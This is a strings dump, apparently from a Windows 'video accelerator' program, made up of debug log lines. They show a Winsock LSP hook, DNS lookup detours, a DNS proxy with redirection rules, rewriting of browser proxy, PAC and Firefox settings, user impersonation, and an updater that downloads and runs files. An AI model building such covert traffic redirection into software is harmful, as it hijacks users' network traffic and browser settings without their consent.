Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

